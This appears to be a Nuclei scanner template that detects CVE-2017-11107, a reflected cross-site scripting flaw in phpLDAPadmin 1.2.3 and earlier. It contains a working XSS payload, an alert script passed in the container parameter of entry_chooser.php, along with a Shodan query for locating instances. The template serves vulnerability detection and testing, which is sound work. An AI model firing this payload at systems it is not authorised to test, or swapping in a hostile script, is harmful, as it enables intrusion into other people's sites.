phpLDAPadmin <= 1.2.3 - Reflected XSS

id: CVE-2017-11107

info:
  name: phpLDAPadmin <= 1.2.3 - Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    phpLDAPadmin <= 1.2.3 contains a reflected cross-site scripting caused by unsanitized input in htdocs/entry_chooser.php via the form, element, rdn, or container parameter, letting attackers execute malicious scripts in victim browsers, exploit requires sending crafted input.
  impact: |
    Attackers can execute malicious scripts in victim browsers, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of phpLDAPadmin where the vulnerability is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11107
    - https://github.com/leenooks/phpLDAPadmin/issues/50
    - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867719
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-11107
    epss-score: 0.02069
    epss-percentile: 0.78946
    cwe-id: CWE-79
    cpe: cpe:2.3:a:phpldapadmin_project:phpldapadmin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpldapadmin_project
    product: phpldapadmin
    shodan-query: html:"phpLDAPadmin"
  tags: cve,cve2017,phpldapadmin,xss,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpldapadmin/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "phpLDAPadmin")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/phpldapadmin/entry_chooser.php?container=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "Entry Chooser")'
        condition: and
# digest: 4b0a00483046022100d91e90b67dd38423a3c8021a8f6f46aa88cfda7d38fb02a5a23ad6994aad7502022100dcb374c23691c282424f72d6b7dffe0ba3772afc1e1cdc3f4710d1e0a712654d:922c64590222798bb761d5b6d8e72950